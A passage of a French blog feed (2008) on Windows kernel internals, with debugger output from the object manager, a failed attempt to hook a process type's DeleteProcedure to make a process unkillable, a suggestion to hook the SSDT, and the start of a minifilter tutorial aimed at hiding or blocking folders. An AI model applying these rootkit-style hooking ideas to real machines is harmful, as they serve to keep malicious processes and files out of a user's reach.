209.&lt;br /&gt;Image: svchost.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8158ebd8  SessionId: 0  Cid: 03a4    Peb: 7ffd9000  ParentCid: 02a8&lt;br /&gt;DirBase: 05be1000  ObjectTable: e1567690  HandleCount: 218.&lt;br /&gt;Image: svchost.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8157d1b0  SessionId: 0  Cid: 0408    Peb: 7ffdc000  ParentCid: 02a8&lt;br /&gt;DirBase: 06467000  ObjectTable: e14277b8  HandleCount: 774.&lt;br /&gt;Image: svchost.exe&lt;br /&gt;&lt;br /&gt;PROCESS 81571968  SessionId: 0  Cid: 0458    Peb: 7ffd7000  ParentCid: 02a8&lt;br /&gt;DirBase: 06ac0000  ObjectTable: e14d7ba8  HandleCount:  55.&lt;br /&gt;Image: svchost.exe&lt;br /&gt;&lt;br /&gt;PROCESS 81562a08  SessionId: 0  Cid: 04b4    Peb: 7ffde000  ParentCid: 02a8&lt;br /&gt;DirBase: 06aa5000  ObjectTable: e15ab910  HandleCount: 108.&lt;br /&gt;Image: spoolsv.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8152eda0  SessionId: 0  Cid: 05b4    Peb: 7ffde000  ParentCid: 058c&lt;br /&gt;DirBase: 097c9000  ObjectTable: e1abb258  HandleCount: 380.&lt;br /&gt;Image: explorer.exe&lt;br /&gt;&lt;br /&gt;PROCESS 81525928  SessionId: 0  Cid: 0638    Peb: 7ffd6000  ParentCid: 05b4&lt;br /&gt;DirBase: 0ad0c000  ObjectTable: e1b763f0  HandleCount:  36.&lt;br /&gt;Image: VMwareTray.exe&lt;br /&gt;&lt;br /&gt;PROCESS 81512300  SessionId: 0  Cid: 0648    Peb: 7ffd4000  ParentCid: 05b4&lt;br /&gt;DirBase: 0b018000  ObjectTable: e15ed1a0  HandleCount:  73.&lt;br /&gt;Image: VMwareUser.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8150b3e8  SessionId: 0  Cid: 0650    Peb: 7ffd7000  ParentCid: 05b4&lt;br /&gt;DirBase: 0b232000  ObjectTable: e15eb6a8  HandleCount:  69.&lt;br /&gt;Image: ctfmon.exe&lt;br /&gt;&lt;br /&gt;PROCESS 81509ad0  SessionId: 0  Cid: 0660    Peb: 7ffdc000  ParentCid: 05b4&lt;br /&gt;DirBase: 0b3b8000  ObjectTable: e15f3830  HandleCount:  30.&lt;br /&gt;Image: LClock.exe&lt;br /&gt;&lt;br /&gt;PROCESS 814f3540  SessionId: 0  Cid: 06b4    Peb: 7ffde000  ParentCid: 02a8&lt;br /&gt;DirBase: 0bc5f000  ObjectTable: e1ba3648  HandleCount:  42.&lt;br /&gt;Image: VMwareService.exe&lt;br /&gt;&lt;br /&gt;PROCESS 814ab8d8  SessionId: 0  Cid: 00b4    Peb: 7ffde000  ParentCid: 02a8&lt;br /&gt;DirBase: 0cfb3000  ObjectTable: e1b74bb0  HandleCount: 106.&lt;br /&gt;Image: alg.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8149b668  SessionId: 0  Cid: 06a8    Peb: 7ffdc000  ParentCid: 05b4&lt;br /&gt;DirBase: 0906c000  ObjectTable: e1528008  HandleCount:  88.&lt;br /&gt;Image: OSRLOADER.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8156f740  SessionId: 0  Cid: 031c    Peb: 7ffdd000  ParentCid: 05b4&lt;br /&gt;DirBase: 072b0000  ObjectTable: e10d49d0  HandleCount:  64.&lt;br /&gt;Image: Dbgview.exe&lt;br /&gt;&lt;br /&gt;PROCESS 8149b020  SessionId: 0  Cid: 0400    Peb: 7ffdb000  ParentCid: 05b4&lt;br /&gt;DirBase: 08b93000  ObjectTable: e1618448  HandleCount:  75.&lt;br /&gt;Image: taskmgr.exe&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Ensuite j’utilise la commande !object.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;The &lt;b&gt;!object&lt;/b&gt; extension displays information about a system object.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;!object&lt;/b&gt; &lt;i&gt;Address&lt;/i&gt;&lt;br /&gt;&lt;b&gt;[...]&lt;/b&gt;&lt;br /&gt;&lt;i&gt;Address&lt;/i&gt;&lt;br /&gt;If the first argument is a nonzero hexadecimal number, it specifies the hexadecimal address of the system object for which to display information.&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; On prend donc n'importe quel processus, car tous ces objects sont du même type, de plus la structure OBJECT_TYPE_INITIALIZER est globale à chaque type d'object.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;kd&gt; !object 817cc7c0&lt;br /&gt;Object: 817cc7c0  Type: (817cce38) Process&lt;br /&gt;ObjectHeader: 817cc7a8 (old version)&lt;br /&gt;HandleCount: 2  PointerCount: 51&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Nous avons donc l'adresse de ses headers.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;kd&gt; dt nt!_OBJECT_HEADER 817cc7a8&lt;br /&gt;+0x000 PointerCount     : 51&lt;br /&gt;+0x004 HandleCount      : 2&lt;br /&gt;+0x004 NextToFree       : 0x00000002&lt;br /&gt;+0x008 Type             : 0x817cce38 _OBJECT_TYPE&lt;br /&gt;+0x00c NameInfoOffset   : 0 ''&lt;br /&gt;+0x00d HandleInfoOffset : 0 ''&lt;br /&gt;+0x00e QuotaInfoOffset  : 0 ''&lt;br /&gt;+0x00f Flags            : 0x22 '"'&lt;br /&gt;+0x010 ObjectCreateInfo : 0x80560c80 _OBJECT_CREATE_INFORMATION&lt;br /&gt;+0x010 QuotaBlockCharged : 0x80560c80&lt;br /&gt;+0x014 SecurityDescriptor : 0xe10017d5&lt;br /&gt;+0x018 Body             : _QUAD&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; A partir de cette structure nous pouvons 'jongler' dans les headers de l'object.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Nous avons son Body en +0x18, ici il s'agit d'un pointeur sur une structure de type EPROCESS.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Nous avons un pointeur sur une structure de type OBJECT_TYPE, celle qui nous intéresse s'y trouve.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;kd&gt; dt nt!_OBJECT_TYPE 0x817cce38&lt;br /&gt;+0x000 Mutex            : _ERESOURCE&lt;br /&gt;+0x038 TypeList         : _LIST_ENTRY [ 0x817cce70 - 0x817cce70 ]&lt;br /&gt;+0x040 Name             : _UNICODE_STRING "Process"&lt;br /&gt;+0x048 DefaultObject    : (null)&lt;br /&gt;+0x04c Index            : 5&lt;br /&gt;+0x050 TotalNumberOfObjects : 0x15&lt;br /&gt;+0x054 TotalNumberOfHandles : 0x4c&lt;br /&gt;+0x058 HighWaterNumberOfObjects : 0x16&lt;br /&gt;+0x05c HighWaterNumberOfHandles : 0x52&lt;br /&gt;+0x060 TypeInfo         : _OBJECT_TYPE_INITIALIZER&lt;br /&gt;+0x0ac Key              : 0x636f7250&lt;br /&gt;+0x0b0 ObjectLocks      : [4] _ERESOURCE&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Nous voilà dans cette fameuse structure 'globale'.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;On y reconnaît bien le nom du type d'object à savoir Process dans ce cas là.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Ne perdons pas de vue notre structure OBJECT_TYPE_INITIALIZER en +0x60, go !&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;kd&gt; dt nt!_OBJECT_TYPE_INITIALIZER 0x817cce38+0x60&lt;br /&gt;+0x000 Length           : 0x4c&lt;br /&gt;+0x002 UseDefaultObject : 0 ''&lt;br /&gt;+0x003 CaseInsensitive  : 0 ''&lt;br /&gt;+0x004 InvalidAttributes : 0xb0&lt;br /&gt;+0x008 GenericMapping   : _GENERIC_MAPPING&lt;br /&gt;+0x018 ValidAccessMask  : 0x1f0fff&lt;br /&gt;+0x01c SecurityRequired : 0x1 ''&lt;br /&gt;+0x01d MaintainHandleCount : 0 ''&lt;br /&gt;+0x01e MaintainTypeList : 0 ''&lt;br /&gt;+0x020 PoolType         : 0 ( NonPagedPool )&lt;br /&gt;+0x024 DefaultPagedPoolCharge : 0x1000&lt;br /&gt;+0x028 DefaultNonPagedPoolCharge : 0x290&lt;br /&gt;+0x02c DumpProcedure    : (null)&lt;br /&gt;+0x030 OpenProcedure    : (null)&lt;br /&gt;+0x034 CloseProcedure   : (null)&lt;br /&gt;+0x038 DeleteProcedure  : 0x8058a87d     void  nt!PspProcessDelete+0&lt;br /&gt;+0x03c ParseProcedure   : (null)&lt;br /&gt;+0x040 SecurityProcedure : 0x8056a71e     long  nt!SeDefaultObjectMethod+0&lt;br /&gt;+0x044 QueryNameProcedure : (null)&lt;br /&gt;+0x048 OkayToCloseProcedure : (null)&lt;br /&gt;&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt; Je me vois donc hooker la callback DeleteProcedure, en effectuant une sorte de trie des processus victimes de la fonction PspProcessDelete.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Le prototype cette fonction est le suivant :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;pre&gt;VOID&lt;br /&gt;PspProcessDelete( IN PVOID Object )&lt;/pre&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Il me suffisait donc de récupérer le nom du processus, de le comparer a celui que j'etais censé protégé du kill et donc de lancer, ou au contraire de ne pas lancer la fonction PspProcessDelete.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;J'installe donc mon hook, ma condition mais....&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Le processus se fait quand même killer..&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Frustré je vais tenter de vous montrer pourquoi il m'est impossible de protégé d'un kill du processus en controlant la DeleteProcedure.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt; &lt;b&gt;« Merci à windows pour avoir foutu mon post en l'air :) »&lt;/b&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Pour les personnes qui voudraient tout de même rendre un processus inkillable, vous pouvez toujours allez hooker la SSDT par exemple. La raison pour laquelle mon hook n'a pas fonctionné est la suivante :  Cette callback est _apparemment_  pas utilisé pour détruire l'object mais pour déférencer le processus des tables ( EPROCESS par exemple ). Je n'intervenais donc en aucun cas sur la suppression ou non du processus cible.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;On pourrait, je pense, faire des petits trucs sympathiques en allant s'amuser à hooker les procedures dans d'autre type d'object.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Si on hookait la OpenProcedure d'un type File, on pourrait par exemple mettre en place une espèce de routine de traitement, histoire de « monitorer » à chaque ouverture de handle sur l'object.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;En tous cas, je ne voudrais pas m'avancer en ce qui concerne ces exemples d'exploitations car comme la mienne elles pourraient être vouées à l'echec ... :(&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Bref continuons un peu plus sur les objects.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Au sein de la structure de type OBJECT_TYPE_INITIALIZER on peut croiser plusieurs type de callback :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Open qui est appelé lors de  la création/ouverture/copie d'un handle.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Close qui est appelé lors  de la fermeture d'un handle.&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Delete qui est appelé lors  de la suppression d'un object pour le déréférencer.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Ces « méthodes » sont celles que j'ai pu rencontrer dans ma petite excursion.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Voilà les informations que j'ai pu récoltés sur l'object manager, si quelques personnes auraient menés des recherches en rapport avec celui-ci merci de me le faire savoir :).&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;A présent je vous propose mon code ( foireux certes ) de hook de la DeleteProcedure :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;a href="http://overclok.free.fr/Codes/ph03nix.htm"&gt;ph03nix.c.&lt;/a&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Et un petit lien venut tout droit du uninformed v8 :&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;a href="http://uninformed.org/index.cgi?v=8&amp;amp;a=2&amp;amp;p=19"&gt;Objects types initializers.&lt;/a&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;"&gt;Voilà c'est finis pour aujourd'hui, en espérant que le post plaira a certains malgrès l'echec de mon hook :/.&lt;/p&gt; &lt;p style="margin-bottom: 0cm; text-decoration: none;"&gt;Cya!&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;PS : Un échange de liens vient d'être mise en place avec les &lt;a href="http://noxistes.org/"&gt;noxistes&lt;/a&gt; ainsi qu'avec &lt;a href="http://ghostsinthestack.org/"&gt;Ghosts In The Stack&lt;/a&gt;, je les ajoute donc à la blogrollz, bonne continuation à eux et merci à eux deux.&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-3476499378137972002?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/3476499378137972002/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=3476499378137972002' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3476499378137972002'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3476499378137972002'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/03/ph03nix-et-lobject-manager.html' title='ph03nix et l&apos;object manager.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_kuo-yDTqvqc/R-4t-M3ybTI/AAAAAAAAAG0/e3zDKsGX6qw/s72-c/winobj.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-2440652651582250014</id><published>2008-03-22T04:49:00.000-07:00</published><updated>2008-12-09T22:03:59.503-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='minifilter driver'/><category scheme='http://www.blogger.com/atom/ns#' term='breakpoint'/><category scheme='http://www.blogger.com/atom/ns#' term='IRP_MJ_DIRECTORY_CONTROL'/><category scheme='http://www.blogger.com/atom/ns#' term='kd'/><category scheme='http://www.blogger.com/atom/ns#' term='Fltmgr'/><category scheme='http://www.blogger.com/atom/ns#' term='.inf'/><category scheme='http://www.blogger.com/atom/ns#' term='filter manager'/><category scheme='http://www.blogger.com/atom/ns#' term='file system minifilter'/><category scheme='http://www.blogger.com/atom/ns#' term='mini filter driver'/><category scheme='http://www.blogger.com/atom/ns#' term='inf file'/><category scheme='http://www.blogger.com/atom/ns#' term='C4lim3r0'/><title type='text'>C4lim3r0.</title><content type='html'>&lt;div style="text-align: center;"&gt;    &lt;b&gt;« YOU FAILED, PLEASE RESTART THE ENGINE ».&lt;/b&gt;&lt;/div&gt; &lt;p style="margin-bottom: 0cm;" align="center"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Bonjour à tous, je vais aujourd'hui vous parlez d'une feature que microsoft nous met à disposition.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Il s'agit des « minifilters ».&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Un &lt;a href="http://www.microsoft.com/whdc/driver/filterdrv/default.mspx#EW"&gt;minifilter&lt;/a&gt; permet de crée un Filter Device Object (FiDO) beacoup plus facilement. En effet cette fois ci c’est driver natif de Windows, fltmgr.sys, qui va se charger de placer un FiDO sur les devices qui nous intéressent. Lors de la création d’un minifilter les devices du driver fltmgr.sys vont se placer sur les différents devices filesystem puis faire passer les requêtes et résultats des IRP de ces devices à notre driver sous une forme plus aisément manipulable.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;On peut donc choisir sur quels types d'IRPs opérer, sur quel device nous allons nous attachés. Tous le reste sera gérer et orchestrer par le &lt;a href="http://msdn2.microsoft.com/en-us/library/aa939640.aspx"&gt;FilterManager&lt;/a&gt; (FltMgr). C'est bien beau … mais trop pour être vrai !&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Premièrement le minifilter doit s'installer par le biais d'un fichier .inf, et il est exécuté sous forme de service à cause du FilterManager, pas très furtif  tout ca …   &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;L'aventure est tout de même séduisante, une nouvelle feature à expérimenter, nous pourrions l'utilisé afin de cacher un dossier par exemple.Mais cela fais deux semaines que j'ai travaillé en me fixant ce but, et je dois l'avouer j'ai lamentablement échoué dans ma besogne. Je me suis donc rediriger vers un objectif plus simple.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Il s'agit d'empêcher l'accès à un dossier lorsque l'on va double cliquez sur le dossier dans l'explorer par exemple. Je compte donc sur vous pour exploitez ce petit article et allez plus loin dans l'utilisation de ce minifilter.&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;"&gt;Passons par dessus, les échecs sont censés faire avancer .. &lt;/p&gt;  &lt;p style="margin-bottom: 0cm;"&gt;« Wait and see.. ».&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;"&gt;J'ai décidé donc de programmer un file system minifilter.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Je vous expose la technique utilisé :  &lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Nous créons le fichier .inf   permettant d'installer notre minifilter. (Pour cela je vous laisse  vous documentez sur la msdn et cie)    &lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Notre driver doit s'enregistrer  auprès du FilterManager par le biais de la fonction  &lt;u&gt;&lt;a href="http://msdn2.microsoft.com/en-us/library/aa488692.aspx"&gt;FltRegisterFilter&lt;/a&gt;()&lt;/u&gt;.&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;L'on doit donc remplir les structures FLT_REGISTRATION :&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;typedef struct _FLT_REGISTRATION {&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;USHORT  Size;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;USHORT  Version;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FLT_REGISTRATION_FLAGS  Flags;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;CONST FLT_CONTEXT_REGISTRATION  *ContextRegistration;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;CONST FLT_OPERATION_REGISTRATION  *OperationRegistration;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_FILTER_UNLOAD_CALLBACK  FilterUnloadCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_INSTANCE_SETUP_CALLBACK  InstanceSetupCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK  InstanceQueryTeardownCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_INSTANCE_TEARDOWN_CALLBACK  InstanceTeardownStartCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_INSTANCE_TEARDOWN_CALLBACK  InstanceTeardownCompleteCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_GENERATE_FILE_NAME  GenerateFileNameCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_NORMALIZE_NAME_COMPONENT  NormalizeNameComponentCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_NORMALIZE_CONTEXT_CLEANUP  NormalizeContextCleanupCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;#if FLT_MGR_LONGHORN&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_TRANSACTION_NOTIFICATION_CALLBACK TransactionNotificationCallback;&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_NORMALIZE_NAME_COMPONENT_EX  NormalizeNameComponentExCallback;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;#endif // FLT_MGR_LONGHORN&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;} FLT_REGISTRATION, *PFLT_REGISTRATION;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;ainsi que FLT_OPERATION_REGISTRATION :&lt;/p&gt;  &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;typedef struct _FLT_OPERATION_REGISTRATION {&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;UCHAR  MajorFunction;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FLT_OPERATION_REGISTRATION_FLAGS  Flags;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_PRE_OPERATION_CALLBACK  PreOperation;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PFLT_POST_OPERATION_CALLBACK  PostOperation;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PVOID  Reserved1;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0.5cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0cm;"&gt;Et enfin démarrer notre  filtre avec &lt;a href="http://msdn2.microsoft.com/en-us/library/aa488741.aspx"&gt;FltStartFiltering&lt;/a&gt;().&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;A présent il nous faut élaborer les fonctions handler par la structure FLT_OPERATION_REGISTRATION.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Je vous laisse méditer le code pour cela.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-size:130%;"&gt;&lt;b&gt;Trip in da Minifilter.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;On va tenter de savoir comment fonctionne un peu plus cette feature.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !drvobj \FileSystem\C4lim3r0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 